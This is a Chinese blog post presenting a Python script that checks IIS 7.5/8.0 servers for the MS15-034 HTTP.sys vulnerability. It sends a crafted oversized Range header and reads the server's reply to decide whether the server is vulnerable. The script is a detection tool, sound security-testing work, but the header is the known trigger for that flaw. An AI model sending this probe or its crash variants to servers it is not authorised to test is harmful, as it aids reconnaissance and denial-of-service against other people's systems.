小毛

MS15-034 Python脚本漏洞检测
import requests代码区域print(" ==================...
扫描右侧二维码阅读全文
07
2019/11

MS15-034 Python脚本漏洞检测

import requests

代码区域

print("        =================================================")
print("                                                         ")
print("              MS15-034 漏洞  CheckList(WEB安全)        ")
print("                                                         ")
print("                         Author : 小毛                   ")
print("                                                         ")
print("                   Join US : www.ianquan.org.cn          ")
print("                                                         ")
print("        =================================================")


url = input("请输入你要检测的url:")

pyload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'}

headers = requests.options(url)
r = headers.headers['Server']
if r == "Microsoft-IIS/7.5" or r =="Microsoft-IIS/8.0":
    response = requests.get(url,headers = pyload)
    if "Requested Range Not Satisfiable" in str(response.content):
        print("[+]",url," ","服务器存在MS15-034漏洞")
    else:
        print("[+]",url," ","server not exists MS15-034")
else:
    print("Server not IIS 7.5 or IIS 8.0")

exit = input("请输入任意键退出:")
Last modification:November 8th, 2019 at 02:33 pm
如果觉得我的文章对你有用,请随意赞赏

Leave a Comment